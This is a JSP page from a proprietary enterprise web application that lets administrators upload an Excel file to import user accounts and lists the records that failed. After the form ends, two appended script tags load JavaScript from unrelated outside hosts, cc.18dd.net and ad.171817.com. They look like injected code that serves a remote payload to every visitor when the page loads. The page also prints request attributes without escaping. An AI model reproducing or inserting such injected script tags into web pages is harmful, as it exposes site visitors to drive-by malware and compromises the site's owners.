<%
/*
 * @(#)ImportData.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ImportData.jsp

  This class is reflecting business logic uses.

    @author           Susan liu
    @company          DCIVision Limited
    @creation date    20/07/2004
    @version          $Revision: 1.12.2.11 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean"%>
<%@ taglib uri="/tags/struts-logic" prefix="logic"%>
<%@ taglib uri="/tags/layout" prefix="layout"%>
<%@ page import="java.io.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.util.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.user.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintUserImportDataForm" scope="request" class="com.dcivision.user.web.MaintUserImportDataForm"/>

<!-- Form Section Begin -->
<script language="Javascript">
<!--

// Popup the excel text
function popupExcelTextViewer() {
  var url = "<%=request.getContextPath()%>/jsp/user/DataImportTemplate.xls";
  var name = "DCIVisionExcTextViewer";
  var popW = "800";
  var popH = "600";
  var feature = "status=no,menubar=yes,scrollbars=yes,resizable=yes,toolbar=no";
  OpenCenteredPopup(url, name, popW, popH, feature);
  //cClick();
}
function popupFailExcelTextViewer() {
  var url = "<%=request.getContextPath()%>/jsp/user/exportFailFile.xls";
  var name = "DCIVisionExcTextViewer";
  var popW = "800";
  var popH = "600";
  var feature = "status=no,menubar=yes,scrollbars=yes,resizable=yes,toolbar=no";
  OpenCenteredPopup(url, name, popW, popH, feature);
  //cClick();
}
-->
</script>
<html:form action="user/ImportData?navMode=I" enctype="multipart/form-data">
<html:javascript formName="maintUserImportDataForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%
  /****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
   String returnURL = "SelectSource.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
   /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
%>
<%
  String optName = sessionContainer.getFunctionNameByFunctionCode("STP_IMPORT_DATA");
  StringBuffer sbPageTitle = new StringBuffer();
  sbPageTitle.append(sessionContainer.getFunctionNameByFunctionCode("STP"));
  sbPageTitle.append("&nbsp;&gt;&nbsp;");
  sbPageTitle.append(optName);
  sbPageTitle.append("&nbsp;&gt;&nbsp;");
%>
<link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">

<input type="hidden" name='opMode' value="">
<input type="hidden" name="navMode" value="I">
<html:hidden property='ID'/>
<input type="hidden" name="elementType" value="I">

<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<!-- Page Title Section -->
<%--
<!-- Page Title Section Begin -->
<layout:titleFormat>
<font class="pageTitle">System Setup ><a href='<%=request.getContextPath()%>/user/SelectSource.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>' class='pageTitle'>User Import</a> - Excel User Import</font>
<layout:returnButton>SelectSource.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%></layout:returnButton>
</layout:titleFormat>
<!-- Page Title Section End -->--%>


<!-- Table Heading Begin -->
<input type=hidden name="mandatory" value=0>
<input type="hidden" name="width" value="23">
  
<layout:tabContainer id="tab1">

  <layout:tabBar styleClass="tabBar_no_button">
     <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true" visibility="false"/> 
  </layout:tabBar>
   
  <div id="basicTab" class="tabContent">
  <div id="formContainer" style="border-left:0px solid #bfbfbf; border-right:0px solid #bfbfbf;">
  
<layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
 <table width="100%">
 <!-- Field Name & Label Position Begin -->

  <layout:sectionHeader name="user.label.excel_user_import"/>
<% if (request.getAttribute("Result")==null) { } %>
   <tr>
            <td class="formLabelSmallMan" width='25%' valign='top'><bean:message key='user.label.import_data'/></td>
            <td class="formFieldSmall" width='75%' >&nbsp;<html:file property='uploadFile' styleClass="form-style-2-textfield"/></td>
    </tr>

    <tr>
      <td class="formLabelSmall" width='25%' valign='top'>
        <bean:message key="user.label.download_folder_template"/></td>
      <td class="formFieldSmall" width='75%'>&nbsp;
        <a href="javascript://" onClick="return popupExcelTextViewer();">Data Import Template</a></td>
    </tr>
  <%if(!Utility.isEmpty(request.getAttribute("havafailRecord"))){%>
    <br/>
    <tr>
	  <td  colspan="2" align="center">
    <div align="center">
    <table cellpadding="3" cellspacing="1" border="0" width="780" bgcolor="#CCCCCC" >
      <caption  >   <div align="center" style="color: #0000FF"><bean:message key='user.message.failDetail'/></div>  </caption>
    <tr>
    <th><bean:message key='user.label.login_name'/></th>
    <th><bean:message key='user.label.last_name'/></th>
    <th><bean:message key='user.label.first_name'/></th>
    <th><bean:message key='user.label.email'/></th>
    <th><bean:message key='user.columnheader.user_group'/></th>
    <th><bean:message key='user.columnheader.user_role'/></th>
    <th style="color: red;"><bean:message key='log.columnheader.event_error_detail'/></th>
    </tr>
    <%=request.getAttribute("failRecord").toString()%>
    </table>
    </div>
	  </td>
    </tr>
  <%}%>
     <tr>
         <td colspan="2" align="center"><html:img src='Spacer.gif'  width='1' height='10'/></td>
     </tr>
    </table>
    
	</div>
   </div>
<script language='javascript'>
<!--
  var minimum_height = '<%=GlobalConstant.TABLE_MINIMUM_HEIGHT%>';
	SetDivHeight('heightHolder', 'formContainer',minimum_height);
-->
</script>
  </layout:tabContainer>
    
  <div id="bottomButtonArea">
     <div id="buttonSection">
     <html:permissionButton label="common.label.import" right="P" onClick="return OpSave();"/>
     </div>
   </div>

<%
  if (request.getAttribute("resultString") != null) {
    out.println(request.getAttribute("resultString"));
  }
%>

</html:form>


<!-- Form Section End -->
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>